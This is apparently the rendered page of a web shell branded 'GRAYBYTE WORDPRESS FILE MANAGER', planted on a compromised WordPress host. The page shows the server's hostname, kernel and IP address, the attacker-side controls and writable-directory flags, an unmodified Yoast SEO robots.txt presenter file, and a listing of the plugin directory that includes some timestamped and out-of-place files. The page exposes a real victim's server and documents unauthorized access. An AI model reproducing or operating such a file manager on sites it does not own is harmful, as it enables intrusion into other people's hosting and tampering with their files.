✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.42
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/plugins/wordpress-seo/src/presenters//robots-txt-presenter.php
<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Helpers\Robots_Txt_Helper;

/**
 * Presenter class for the robots.txt file helper.
 */
class Robots_Txt_Presenter extends Abstract_Presenter {

	public const YOAST_OUTPUT_BEFORE_COMMENT = '# START YOAST BLOCK' . \PHP_EOL . '# ---------------------------' . \PHP_EOL;

	public const YOAST_OUTPUT_AFTER_COMMENT = '# ---------------------------' . \PHP_EOL . '# END YOAST BLOCK';

	/**
	 * Text to be outputted for the allow directive.
	 *
	 * @var string
	 */
	public const ALLOW_DIRECTIVE = 'Allow';

	/**
	 * Text to be outputted for the disallow directive.
	 *
	 * @var string
	 */
	public const DISALLOW_DIRECTIVE = 'Disallow';

	/**
	 * Text to be outputted for the user-agent rule.
	 *
	 * @var string
	 */
	public const USER_AGENT_FIELD = 'User-agent';

	/**
	 * Text to be outputted for the sitemap rule.
	 *
	 * @var string
	 */
	public const SITEMAP_FIELD = 'Sitemap';

	/**
	 * Holds the Robots_Txt_Helper.
	 *
	 * @var Robots_Txt_Helper
	 */
	protected $robots_txt_helper;

	/**
	 * Constructor.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 */
	public function __construct( Robots_Txt_Helper $robots_txt_helper ) {
		$this->robots_txt_helper = $robots_txt_helper;
	}

	/**
	 * Generate content to be placed in a robots.txt file.
	 *
	 * @return string Content to be placed in a robots.txt file.
	 */
	public function present() {
		$robots_txt_content = self::YOAST_OUTPUT_BEFORE_COMMENT;
		$robots_txt_content = $this->handle_user_agents( $robots_txt_content );

		$robots_txt_content = $this->handle_site_maps( $robots_txt_content );

		return $robots_txt_content . self::YOAST_OUTPUT_AFTER_COMMENT;
	}

	/**
	 * Adds user agent directives to the robots txt output string.
	 *
	 * @param array  $user_agents        The list if available user agents.
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function add_user_agent_directives( $user_agents, $robots_txt_content ) {
		foreach ( $user_agents as $user_agent ) {
			$robots_txt_content .= self::USER_AGENT_FIELD . ': ' . $user_agent->get_user_agent() . \PHP_EOL;

			$robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_disallow_paths(), self::DISALLOW_DIRECTIVE );
			$robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_allow_paths(), self::ALLOW_DIRECTIVE );

			$robots_txt_content .= \PHP_EOL;
		}

		return $robots_txt_content;
	}

	/**
	 *  Adds user agent directives path content to the robots txt output string.
	 *
	 * @param string $robots_txt_content   The current working robots txt string.
	 * @param array  $paths                The list of paths for which to add a txt entry.
	 * @param string $directive_identifier The identifier for the directives. (Disallow of Allow).
	 *
	 * @return string
	 */
	private function add_directive_path( $robots_txt_content, $paths, $directive_identifier ) {
		if ( \count( $paths ) > 0 ) {
			foreach ( $paths as $path ) {
				$robots_txt_content .= $directive_identifier . ': ' . $path . \PHP_EOL;
			}
		}

		return $robots_txt_content;
	}

	/**
	 * Handles adding user agent content to the robots txt content if there is any.
	 *
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function handle_user_agents( $robots_txt_content ) {
		$user_agents = $this->robots_txt_helper->get_robots_txt_user_agents();

		if ( ! isset( $user_agents['*'] ) ) {
			$robots_txt_content .= 'User-agent: *' . \PHP_EOL;
			$robots_txt_content .= 'Disallow:' . \PHP_EOL . \PHP_EOL;
		}

		$robots_txt_content = $this->add_user_agent_directives( $user_agents, $robots_txt_content );

		return $robots_txt_content;
	}

	/**
	 * Handles adding sitemap content to the robots txt content.
	 *
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function handle_site_maps( $robots_txt_content ) {
		$registered_sitemaps = $this->robots_txt_helper->get_sitemap_rules();

		foreach ( $registered_sitemaps as $sitemap ) {
			$robots_txt_content .= self::SITEMAP_FIELD . ': ' . $sitemap . \PHP_EOL;
		}

		return $robots_txt_content;
	}

	/**
	 * Handles adding schema map content to the robots txt content.
	 *
	 * @phpcs:disable VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
	 *
	 * @deprecated 27.5
	 * @codeCoverageIgnore
	 *
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function handle_schema_maps( $robots_txt_content ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 27.5' );
		return '';
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
9 Sep 2026 7.30 AM
docteuh / users
0755
open-graph
--
4 Sep 2026 1.54 AM
docteuh / users
0755
slack
--
28 Aug 2026 8.39 AM
docteuh / users
0755
twitter
--
4 Sep 2026 1.52 AM
docteuh / users
0755
webmaster
--
4 Sep 2026 3.16 AM
docteuh / users
0755
abstract-indexable-presenter.php
1.55 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
abstract-indexable-tag-presenter.php
1.746 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
abstract-presenter.php
0.368 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
breadcrumbs-presenter.php
7.544 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
canonical-presenter-20260827150547.php
1.122 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
canonical-presenter.php
1.122 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-admin.php
12.73 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
feature-flag-conditional.php
0.89 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
front-end-integration.php
18.876 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
functions.php
0.681 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827052700.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
index-command.php
9.929 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
integration-interface.php
0.416 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loadable-interface.php
0.279 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loader.php
6.886 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
main.php
1.824 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
meta-author-presenter.php
1.345 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
meta-description-presenter.php
1.838 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
non-multisite-conditional.php
0.363 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
plugin-headers.php
0.723 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
rel-next-presenter.php
1.628 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
rel-prev-presenter.php
1.688 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
robots-presenter.php
0.694 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
robots-txt-presenter.php
4.617 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-presenter.php
1.445 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
score-icon-presenter.php
0.923 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
title-presenter.php
1.723 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
url-list-presenter.php
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
woocommerce-conditional.php
0.402 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF